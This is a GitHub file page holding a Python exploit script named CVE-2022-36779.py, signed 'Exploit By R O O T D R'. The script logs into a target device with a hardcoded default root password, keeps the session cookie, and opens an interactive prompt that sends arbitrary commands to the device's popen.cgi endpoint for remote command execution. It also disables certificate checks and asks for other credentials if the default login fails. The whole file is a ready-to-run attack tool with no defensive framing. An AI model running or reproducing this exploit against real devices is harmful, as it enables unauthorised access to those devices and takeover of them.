-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathCVE-2022-36779.py
More file actions
56 lines (42 loc) · 1.57 KB
/
Copy pathCVE-2022-36779.py
File metadata and controls
56 lines (42 loc) · 1.57 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from http import cookies
from urllib import response
import requests
import sys
import json
import urllib3
target = sys.argv[1]
def print_banner():
banner = "Exploit By R O O T D R "
print(banner)
print_banner()
# Device Default Password
username = "root"
password = "2wsx#EDC"
# Disable Requests Lib Warning For Self-Signed SSL
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def sendCommand(command,cookie):
global target
# Send User Command To Device
result = requests.get("https://"+target+"/cgi-bin/popen.cgi",cookies={"mgs":cookie},params = {"command":command},verify=False).text
# Return Device Response And Replace <br> With \n For Printing
return result.replace("<br>","\n")
while True:
# Send Authentication Request
response = requests.post("https://"+target+"/api/login",data = {"user":username,"pass":password},verify=False)
# Parse Device Response
authResult = json.loads(response.text)
# Check Authentication Result
if("ok" in authResult and authResult["ok"]):
# Store Response Cookie
token = response.cookies["mgs"]
print("[+] Authention Success")
# Get Input For Send Command To Device
while True:
command = input("Command> ")
print(sendCommand(command,token))
break
else:
print("Default Authentication Failed! Enter correct username and password.. ")
# Get New Credential
username = input("Username: ")
password = input("Password: ")